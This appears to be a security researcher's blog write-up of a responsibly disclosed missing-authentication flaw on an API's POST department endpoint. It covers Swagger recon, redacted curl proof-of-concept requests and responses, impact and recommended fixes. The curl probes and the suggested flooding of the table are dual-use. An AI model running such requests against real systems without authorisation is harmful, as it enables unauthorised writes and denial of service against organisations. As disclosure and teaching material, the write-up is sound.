Hey folks π
Today I want to share a real vulnerability I recently discovered and responsibly disclosed β walking you through my exact methodology, from initial recon to the final PoC. No fluff, just the process.
π΅οΈ The Starting Point β Swagger Recon
It started like most of my recon sessions: exploring a web application's network traffic in browser DevTools. I noticed the app was making calls to /api/department for listing departments in what appeared to be an internal Attendance Management System (AMS).
My first instinct? Check for exposed API documentation.
I tried a few predictable paths:
/api/docs
/swagger
/swagger.json
/openapi.json
/api/swagger-uiBingo β /api/docs returned a full Swagger/OpenAPI UI, completely unauthenticated. This gave me a live, interactive map of every endpoint in the application β parameters, request bodies, response schemas, everything.
π‘ Tip: Always check for exposed Swagger/OpenAPI docs during recon. Developers often leave them public in staging and production.
πΊοΈ Mapping the Attack Surface
Inside the Swagger UI, I found the /api/department resource with the following methods documented:
MethodDescriptionGETList all departmentsPOSTCreate a new departmentPUTUpdate a departmentDELETEDelete a department
Nothing unusual yet. But then I noticed the POST endpoint had no lock icon in the Swagger UI β meaning it was marked as unauthenticated, while PUT and DELETE showed the padlock (auth required).
That asymmetry immediately caught my eye. π§
π¬ Hypothesis β Broken Function Level Authorization (BFLA)
My hypothesis: only POST is unprotected, while sibling methods correctly enforce authentication.
This is a textbook OWASP API5:2023 β Broken Function Level Authorization (BFLA) scenario. It happens when developers apply auth middleware per-method rather than at the resource level β and one method slips through.
Time to verify.
π§ͺ Proof of Concept
Step 1 β Test POST Without Any Token
curl -sk -X POST "https://[REDACTED]/api/department" \
-H "Content-Type: application/json" \
-d '{"name":"Test Department","parentId":"[REDACTED-UUID]"}'Response β HTTP 201 Created:
{
"status": true,
"code": 201,
"message": "",
"data": {
"department": {
"name": "Test Department",
"id": "[NEW-UUID]"
}
}
}No token. No session. No authorization header. A record was created in the production database instantly. π¬
Step 2 β Verify the Record Persists
curl -sk "https://[REDACTED]/api/department/[NEW-UUID]"Response β HTTP 200 OK:
{
"status": true,
"code": 200,
"data": {
"id": "[NEW-UUID]",
"name": "Test Department",
"parentId": "[REDACTED-UUID]",
"createdAt": "2026-04-14T16:49:01.132Z",
"updatedAt": "2026-04-14T16:49:01.132Z",
"deletedAt": null
}
}The record is live, persistent, and publicly visible in the department listing used by all employees.
Step 3 β Confirm Auth IS Enforced on Siblings
# PUT without token
curl -sk -X PUT "https://[REDACTED]/api/department/[UUID]" \
-H "Content-Type: application/json" \
-d '{"name":"Modified"}'
# β 401 Not Authenticated β
# DELETE without token
curl -sk -X DELETE "https://[REDACTED]/api/department/[UUID]"
# β 401 Not Authenticated β
This confirms the vulnerability is method-specific β only POST was left unguarded. The created records can only be deleted via the auth-protected DELETE, meaning an attacker can pollute the database with no way to self-clean.
π₯ Impact
1. Org Chart Pollution
Any anonymous attacker can inject arbitrary department names into the company's internal org structure. These appear immediately in the AMS used by all employees β no admin approval required.
2. Database Resource Exhaustion
With zero rate limiting on the endpoint, an automated script can flood the Department table with millions of records in minutes, causing:
- Application slowdowns for all AMS users
- Increased database storage costs
- Degraded performance on legitimate queries
π Root Cause Analysis
This pattern is extremely common in frameworks like Express.js, FastAPI, or Spring Boot when auth middleware is applied per-route rather than globally. The likely scenario:
router.put('/department', authMiddleware, updateHandler); β
router.delete('/department', authMiddleware, deleteHandler); β
router.post('/department', createHandler); β // forgot middlewareOne missing line. Production impact. Classic.
π‘οΈ Recommended Fix
- Apply authentication middleware globally at the router level, not per-method
- Explicitly allowlist public endpoints rather than blocklisting protected ones
- Add rate limiting (e.g., 10 req/min per IP) on all write endpoints
- Restrict Swagger/OpenAPI UI to internal networks or authenticated sessions only
- Periodic API security audits β use tools like
ffuf,Arjun, or manual Swagger review
π Key Takeaways
- Always probe all HTTP methods on every endpoint β BFLA hides in method asymmetry
- Exposed Swagger docs are a goldmine for API surface mapping
- Rate limiting is a separate control from authentication β both must be present
- Responsible disclosure matters β I reported this privately before publishing anything
π·οΈ Vulnerability Classification
- OWASP API Top 10: API5:2023 β Broken Function Level Authorization
- CWE: CWE-285 (Improper Authorization), CWE-770 (Resource Allocation Without Limits)
- Severity: High
β οΈ All sensitive details including company identity, server URLs, UUIDs, and endpoint paths have been redacted or generalized. This post is published only after responsible disclosure to the affected organization.